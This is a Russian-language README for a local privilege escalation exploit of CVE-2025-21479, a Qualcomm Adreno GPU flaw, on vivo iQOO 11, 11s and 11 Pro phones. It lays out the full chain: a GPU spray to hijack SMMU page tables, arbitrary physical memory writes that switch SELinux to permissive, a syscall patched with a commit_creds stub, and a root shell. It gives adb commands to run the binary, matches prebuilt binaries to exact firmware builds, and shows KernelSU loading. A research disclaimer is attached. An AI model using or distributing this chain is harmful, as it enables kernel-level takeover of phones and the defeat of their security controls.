
Заметки по воспроизведению CVE-2025-21479 (Qualcomm Adreno GPU) для vivo iQOO 11 Pro (PD2254) — авторизованное исследование
| Пункт | Значение |
|---|---|
| Устройство | vivo iQOO 11 Pro (PD2254 / V2254A) |
| Система | Android 15, PD2254B_A_15.2.12.2.W10 |
| Ядро | 5.15.178-g3dc7c01077b8-dirty |
| SoC | Snapdragon 8 Gen 2 (SM8550 / kalama) |
| GPU | Adreno 740, OpenGL ES 3.2 [email protected] |
Из-за ограничений текущего метода извлечение kallsyms во время выполнения не реализовано, поэтому, помимо трёх указанных версий, другие версии теоретически не подходят.
GPU spray (перехват таблицы страниц SMMU, 27 кандидатов физических адресов)
→ произвольное чтение/запись физической памяти
→ SELinux enforcing → permissive (физическая запись selinux_state)
→ patch __arm64_sys_vhangup (syscall #58, в Android не вызывается)
GPU напрямую записывает 96-байтовый stub (commit_creds(prepare_kernel_cred(NULL)))
→ fork дочернего процесса → syscall(58) → uid=0
→ setexeccon: запись /proc/self/attr/exec = "u:r:shell:s0"
→ exec root shell (uid=0, домен = u:r:shell:s0)
Запуск:
adb push exploit /data/local/tmp/exploit
adb shell
chmod 755 /data/local/tmp/exploit
cd /data/local/tmp && ./exploit

Управление Root-правами:
find /data/app -type d | grep resukisu
/data/app/***/***/lib/arm64/libksud.so insmod kernelsu.ko
Данный проект предназначен исключительно для исследований в области безопасности и обучения; тестируйте только на собственных устройствах. Пользователь несёт полную ответственность за все последствия использования данного проекта, включая, помимо прочего, повреждение устройства, потерю данных и т. д. Не используйте данный проект в любых незаконных целях.
| Модель | Прошивка | Ядро | Бинарник |
|---|
| iQOO 11 Pro (PD2254) | PD2254B_A_15.2.12.2.W10 | 5.15.178-g3dc7c01077b8-dirty | exploit_11pro |
| iQOO 11s (PD2304) | PD2304B_A_15.2.12.1.W10 | 5.15.178-g844f85161cd7-dirty | exploit_11s |
| iQOO 11 (PD2243) | PD2243B_A_15.2.16.1.W10 | 5.15.178-g0ae61da50a34-dirty | exploit_11 |